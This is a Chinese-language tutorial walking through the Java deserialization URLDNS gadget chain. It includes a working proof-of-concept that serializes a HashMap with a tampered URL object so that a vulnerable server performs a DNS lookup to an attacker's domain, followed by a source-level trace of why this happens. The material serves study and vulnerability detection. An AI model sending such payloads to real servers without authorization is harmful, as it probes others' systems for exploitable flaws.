URLDNS

这是java反序列化中最简单的一个链子,目的是让远程服务器发起一个DNS查询。攻击者需要准备一个唯一子域名,将其域名包装在URLDNS的payload中,然后发送到目标服务器,如果模板存在漏洞就会解析这个域名,攻击者可以查看自己的DNSLog判断。

此漏洞主要用于检测远程服务器中是否用反序列化漏洞

前置知识

ObjectOutputStream:序列化流,用来将对象序列化后存储在文件中

ObjectInputStream:反序列化流,可以将文件中的对象反序列化到java程序中

HashMap:用于存放键值对映射,数据是无序的且利用键的hashCode来寻址

Field:用来存储对象的状态,也可以用来修改对象成员的值,很多框架都会用到

URL:java中用于表示网址的类,在这里作为攻击类,用来检测java反序列化漏洞

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URI;
import java.net.URL;
import java.util.HashMap;

public class exp {
public static void serialize(Object obj) throws Exception {
ObjectOutputStream output = new ObjectOutputStream(new FileOutputStream("./exp.bin"));
output.writeObject(obj);

output.close();

}

public static void main(String[] args) throws Exception {
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
URL url = URI.create("https://xxx/").toURL();

Field hashcode = url.getClass().getDeclaredField("hashCode");

hashmap.put(url, 1);
hashcode.setAccessible(true);
hashcode.set(url, 1);
hashcode.set(url, -1);
serialize(hashmap);
}
}

这个脚本会把恶意URL类序列化到一个文件中

如果想提取的话可以用这个方法,把文件的内容base64编码后输出

1
2
3
4
5
public static void readfilecontent(String filename) throws Exception {
byte[] filecontent = Files.readAllBytes(Paths.get(filename));
String encodingstring = Base64.getEncoder().encodeToString(filecontent);
System.out.println(encodingstring);
}

漏洞原理

在POC中HashMap就做了两个动作,定义和使用put方法存值

1
2
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
hashmap.put(url, 1);

这里的key要求是URL对象,而value其实是可以任意的

随后就使用了put方法,追一下put方法的实现

1
2
3
public V put(K key, V value) {
return (V)this.putVal(hash(key), key, value, false, true);
}

然后在put方法中又调用了putval方法,这个方法是用于创建节点,然后正式把我们传入的值放入了。

前面说过HashMap是采用HashCode来寻址的,所以每当我们放入一个值后,HashMap在底层都会计算key的Hash然后保存下来

继续跟进hash方法

1
2
3
4
static final int hash(Object key) {
int h;
return key == null ? 0 : (h = key.hashCode()) ^ h >>> 16;
}

他在这里获取了对象后,会直接调用对象的hashCode方法获取到对象的哈希码,然后做一些处理,不过并不重要

在这里传入的key是URL对象,所以这里直接找到URL类的hashCode方法

1
2
3
4
5
6
7
8
public synchronized int hashCode() {
if (this.hashCode != -1) {
return this.hashCode;
} else {
this.hashCode = this.handler.hashCode(this);
return this.hashCode;
}
}

这里是判断hashCode计算过没有,如果计算过了则直接返回

因为-1是hashCode的初始值,这里看URL的构造函数就可以知道(这里我省略了很多,想看完整构造函数的师傅可以去idea上查看)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public URL(URL context, String spec, URLStreamHandler handler) throws MalformedURLException {
this.port = -1;
this.hashCode = -1;

//...

if (handler == null) {
handler = context.handler;
}

//...

this.handler = handler;
//...

}

当hashCode还没有计算时就会调用handler的hashCode方法进行计算,从URL的构造函数中我们也可以清楚的看到handler的类是URLStreamHandler

而URLStreamHandler的hashCode方法就是触发DNS的关键了,在这个方法中有一段调用getHostAddress获取IP

1
InetAddress addr = this.getHostAddress(u);
1
2
3
protected InetAddress getHostAddress(URL u) {
return u.getHostAddress();
}

跟过去发现这里又调用了URL类的getHostAddress方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
synchronized InetAddress getHostAddress() {
if (this.hostAddress != null) {
return this.hostAddress;
} else if (this.host != null && !this.host.isEmpty()) {
try {
this.hostAddress = InetAddress.getByName(this.host);
} catch (UnknownHostException var2) {
return null;
}

return this.hostAddress;
} else {
return null;
}
}

最后调用了**InetAddress.getByName(this.host)**进行了DNS解析了,再根过去就是非常底层的实现了,了解到这也差不多了

到这里我们可以发现这是要hashCode为初始值(-1)时才会触发DNS解析,而我们在第一次放入值的时候URL对象的hashCode值就被算出来了,算出来后是直接返回hashCode值,也就是不会进行DNS解析了

那我们要怎么才能在远程服务器上触发DNS解析?

首先我们要知道hashCode是URL对象的一个属性,而且是私有属性

所以这里我们是可以使用Field类来进行修改值的,所以我们放入key和value计算好hashCode之后,我们是可以重新把hashCode改为初始值-1的

所以我们的主函数进行了一个这样的定义,如果看不懂需要学一下Field对象的操作了

1
2
3
4
5
6
7
8
9
10
11
12
public static void main(String[] args) throws Exception {
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
URL url = URI.create("https://xxx/").toURL();

Field hashcode = url.getClass().getDeclaredField("hashCode");

hashmap.put(url, 1);
hashcode.setAccessible(true);
hashcode.set(url, 1);
hashcode.set(url, -1);
serialize(hashmap);
}

这里URL对象我是这样创建的

1
URL url = URI.create("https://xxx/").toURL();

这里新版本的创建方法,老版本可以直接用构造函数创建

1
URL url = new URL("https://xxx/");

最后就是序列化了,主要操作就两步,我是新定义了一个方法来实现的

1
2
ObjectOutputStream output = new ObjectOutputStream(new FileOutputStream("./exp.bin"));
output.writeObject(obj);